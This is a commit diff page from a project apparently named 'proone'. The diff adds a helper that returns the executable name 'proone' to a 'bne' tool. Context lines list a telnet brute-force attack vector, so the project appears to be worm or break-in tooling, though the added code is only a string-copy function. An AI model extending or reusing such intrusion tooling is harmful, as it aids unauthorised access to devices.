aboutsummaryrefslogtreecommitdiff
path: root/src/proone-bne.c
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-19 03:15:28 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-19 03:15:28 +0930
commit66a17c4bf5c38579e460209c2028d3275f366121 (patch)
treee169276fb0b1686abb01c0c5e794e96aaa253e13 /src/proone-bne.c
parent54166c46f32555532dc3c0e922fe6a591cb74128 (diff)
Impl bne
Diffstat (limited to 'src/proone-bne.c')
-rw-r--r--src/proone-bne.c12
1 files changed, 12 insertions, 0 deletions
diff --git a/src/proone-bne.c b/src/proone-bne.c
index fd897a7..2770280 100644
--- a/src/proone-bne.c
+++ b/src/proone-bne.c
@@ -106,6 +106,17 @@ static void report_result (const prne_bne_result_t *r) {
}
}
+static char *cb_exec_name (void) {
+ static const char *EXEC_NAME = "proone";
+ const size_t len = strlen(EXEC_NAME);
+ char *ret = prne_alloc_str(len);
+
+ prne_assert(ret != NULL);
+ memcpy(ret, EXEC_NAME, len + 1);
+
+ return ret;
+}
+
int main (const int argc, const char **args) {
static prne_bne_vector_t ARR_VEC[] = {
PRNE_BNE_V_BRUTE_TELNET,
@@ -227,6 +238,7 @@ int main (const int argc, const char **args) {
param.rcb.m_dv = m_dv;
param.rcb.dv_len = dv_len;
param.rcb.ba = &ba;
+ param.cb.exec_name = cb_exec_name;
for (size_t i = 0; i < cnt; i += 1) {
prne_worker_t *w = prne_malloc(sizeof(prne_worker_t), 1);